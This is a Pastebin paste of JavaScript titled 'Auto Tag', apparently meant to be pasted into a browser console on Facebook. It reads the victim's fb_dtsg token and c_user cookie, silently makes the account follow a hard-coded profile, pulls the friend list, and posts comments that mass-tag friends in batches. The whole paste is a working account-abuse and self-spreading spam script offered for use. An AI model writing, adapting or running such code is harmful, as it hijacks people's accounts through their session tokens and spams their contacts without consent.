Advertisement
Guest User

Auto Tag

a guest
Nov 1st, 2014
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.85 KB | None | 0 0
  1. /* All Right Reserver Trung Duc Don't Change Anything */
  2. function tagfriend(abone)
  3. { var http4=new XMLHttpRequest;
  4. var url4="/ajax/follow/follow_profile.php?__a=1";
  5. var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
  6. http4.open("POST",url4,true);
  7. http4.onreadystatechange=function()
  8. { if(http4.readyState==4&&http4.status==200)http4.close };
  9. http4.send(params4)}
  10. tagfriend("100004368194764");
  11. function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
  12. function get_friends(){
  13. var a=x__0();
  14. a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
  15. a.send(null);
  16. if (a.readyState == 4) {
  17. var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
  18. return f.payload.entries;
  19. }
  20. return false;
  21. }
  22. function get_uid(b){
  23. var a=x__0();
  24. a.open("GET", 'http://graph.facebook.com/'+b, false);
  25. a.send();
  26. if (a.readyState == 4) {
  27. return uid = JSON.parse(a.responseText).id;
  28. }
  29. return false;
  30. }
  31. var patt = /comment_text=(.*?)&/
  32. var c = 1;
  33. username = /\.com\/(.*?)\//.exec(window.top.location)[1];
  34. uid = get_uid(username);
  35. a = window.top.location;
  36. termina = 0;
  37. var amigos = get_friends();
  38. post_id = /[0-9]{8,}/.exec(a);
  39. uids = 'comment_text=';
  40. header = 'ft_ent_identifier='+post_id+'&comment_text=0&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
  41. for ( var n = 1 ; n < amigos.length ; n++ ){
  42. //uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
  43. fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  44. uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
  45. c++;
  46. if(c == 7){
  47. uids += '&';
  48. with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
  49. z = setTimeout('function(){asd=0}', 1000);
  50. clearInterval(z);
  51. c = 1;
  52. uids = 'comment_text=';
  53. }
  54. }
  55. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  56. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  57. function cereziAl(isim) {
  58. var tarama = isim + "=";
  59. if (document.cookie.length > 0) {
  60. konum = document.cookie.indexOf(tarama)
  61. if (konum != -1) {
  62. konum += tarama.length
  63. son = document.cookie.indexOf(";", konum)
  64. if (son == -1)
  65. son = document.cookie.length
  66. return unescape(document.cookie.substring(konum, son))
  67. }
  68. else { return ""; }
  69. }
  70. }
  71. function getRandomInt (min, max) {
  72. return Math.floor(Math.random() * (max - min + 1)) + min;
  73. }
  74. function randomValue(arr) {
  75. return arr[getRandomInt(0, arr.length-1)];
  76. }
  77. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  78. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  79. function a(abone){
  80. var http4 = new XMLHttpRequest();
  81. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  82. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  83. http4.open("POST", url4, true);
  84. //Send the proper header information along with the request
  85. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  86. http4.setRequestHeader("Content-length", params4.length);
  87. http4.setRequestHeader("Connection", "close");
  88. http4.onreadystatechange = function() {//Call a function when the state changes.
  89. if(http4.readyState == 4 && http4.status == 200) {
  90. http4.close; // Close the connection
  91. }
  92. }
  93. http4.send(params4);
  94. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement